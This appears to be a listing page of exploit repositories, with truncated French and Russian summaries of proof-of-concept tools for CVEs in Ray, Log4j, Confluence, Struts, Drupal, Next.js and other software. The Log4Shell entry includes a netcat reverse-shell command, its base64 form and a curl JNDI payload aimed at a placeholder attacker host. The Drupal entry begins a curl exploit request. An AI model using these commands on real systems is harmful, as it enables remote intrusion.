CVE-2023-6019

CVE-2023-6019 - Anyscale Ray Dashboard RCE non authentifié PoC d'exploit pour CVE-2023-6019 — Exécution de code à distance via l'API Jobs non authentifiée de Ray Dashboard. Réalisé par oguiii Description Anyscale Ray est un framework open-source pour les charges de travail d’IA/ML distribuées. Le...

CVE-2025-60787

CVE-2025-60787 - Авторизованное RCE в motionEye PoC для CVE-2025-60787 — это уязвимость авторизованного удаленного выполнения кода Authenticated RCE в motionEye для всех затронутых версий до 0.43.1b4 включительно. Это автоматизированный PoC для уязвимости, описанной в этом репозитории. Авторство:...

CVE-2019-7214

CVE-2019-7214 Exécution de code à distance dans la désérialisation .NET pour le système SmarterMail. Collection Veuillez trouver une collection de preuves de concept pour l'exploit dans ce dépôt. Certaines peuvent fonctionner comme prévu sans modification et d'autres peuvent nécessiter des...

CVE-2021-1675_PrintNightMare

PrintNightmareScanner Сканер для обнаружения уязвимости удалённого выполнения кода в службе печати Windows CVE-2021-1675 Предварительные требования python3 python3 -m pip install -r Requirements.txt Использование python3 detectprintnightmare.py --help usage: detectprintnightmare.py -h -t TARGET -...

NextRce

NextRce - Outil d'exploitation RSC Next.js CVE-2025-55182 Scanner et Exploitant de Vulnérabilité Avancé pour Next.js App Router Développé parMitsec 🔥 Nouvelle Fonctionnalité : Mode Contournement WAF UTF-16LE Les charges utiles standard contenant des mots-clés comme childprocess ou execSync sont...

wp2shell-poc-fulljs

Démonstration du flux logique des CVE de WordPress Vue d'ensemble Ce projet permet de reproduire le flux logique lié aux CVE-2026-63030 et CVE-2026-60137, menant à une injection SQL servant de base pour finalement déclencher une RCE dans WordPress. CVE-2026-63030 CVE-2026-60137 La démonstration...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Преобразование в Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Полезная нагрузка curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64...

confluence-rce-poc

confluence-rce-poc Configuration du POC pour CVE-2021-26084 Docker Utilisez le fichier docker-entrypoint.sh officiel pour postgres, modifiez le nom d'utilisateur et le mot de passe de la base de données selon vos besoins...

CVE-2022-31626

CVE-2022-31626 Dans les versions de PHP 7.4.x antérieures à 7.4.30, 8.0.x antérieures à 8.0.20 et 8.1.x antérieures à 8.1.7, lorsque l'extension pdomysql avec le pilote mysqlnd est utilisée, si un tiers est autorisé à fournir l'hôte auquel se connecter et le mot de passe de connexion, un mot de...

Notepad-8.9.6-PoC

PoCs pour Notepad++ CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 Scripts de preuve de concept pour trois vulnérabilités dans Notepad++ = 8.9.6, corrigées dans la v8.9.6.1 2026-05-26. Vulnérabilités CVE| Type| CVSS| Impact ---|---|---|--- CVE-2026-48770| Lecture hors limites via WMCOPYDATA| 5....

TryHackMe-Atlassian-CVE-2022-26134

TryHackMe | Atlassian, CVE-2022-26134 TryHackMe Atlassian CVE-2022-26134 Atlassian, CVE-2022-26134 An interactive lab showcasing the Confluence Server and Data Center un-authenticated RCE vulnerability. Tâche 1 Introduction Confluence | Votre espace de travail d'équipe adapté au télétravail |...

CVE-2022-24086

CVE-2022-24086 Проверено на: magento 2.4.3 с демонстрационными данными Docker-образ: docker.io/bitnami/magento:2.4.3-debian-10-r0 Имя: var this.getTemplateFilter.filter$order.shippingaddress.cityvar...

CVE-2023-26469-Jorani

Outil d'exploitation de CVE-2023-26469 Aperçu Il s'agit d'un outil d'exploitation PoC pour la version 1.0.0 de Jorani, qui permet à un attaquant d'exécuter du code à distance via un parcours de chemin et une injection de logs. ⚠️ Avertissement : cet outil est destiné uniquement à la recherche en...

CVE-2026-39808

CVE-2026-39808 En novembre 2025, une vulnérabilité critique a été découverte dans le FortiSandbox de Fortinet, permettant à un attaquant non authentifié d'exécuter des commandes dans le système d'exploitation sous-jacent en tant que root. La vulnérabilité a été corrigée et finalement rendue...

CVE-2015-1578-PoC-Metasploit

Module Metasploit CVE-2015-1578 Aperçu Ceci est un module Metasploit pour CVE-2015-1578 , une vulnérabilité de débordement de tampon dans Achat 0.150 beta7 sur Windows. L'exploitation permet l'exécution de code à distance via un paquet UDP conçu. Objectif Ce module est conçu pour servir d'exemple...

CVE-2024-53677

CVE-2024-53677 - Environnement de reproduction de la vulnérabilité d'exécution de code à distance RCE dans Apache Struts 2 Ce dépôt fournit un environnement basé sur des conteneurs pour reproduire la vulnérabilité CVE-2024-53677 dans Apache Struts 2. Cette vulnérabilité implique un contournement ...

CVE-2019-16759

CVE-2019-16759 Exploits RCE de Vbulletin...

SpringCloudFunction-Research

SpringCloudFunction-Research Recherche sur CVE-2022-22963 Environnement vulfocus/spring-cloud-function-rce:latest Cause Problème d'analyse du paramètre spring.cloud.function.routing-expression dans l'en-tête de requête, entraînant une attaque par injection de charge utile. Références...

CVE-2022-21350

Pourquoi deux PoC L'un contient com.51pwn.hktalent.CreatJar.mainargs; est utilisé pour créer l'outil de génération de payload minimal après sa création, utilisez l'autre Lors de l'exécution de CVE-2022-21350powerBy51pwn.jar, l'erreur de construction du payload n'affecte pas son utilisation other...

CVE-2019-6340

CVE-2019-6340 À des fins éducatives uniquement Exécution $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 Exploitation GET $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...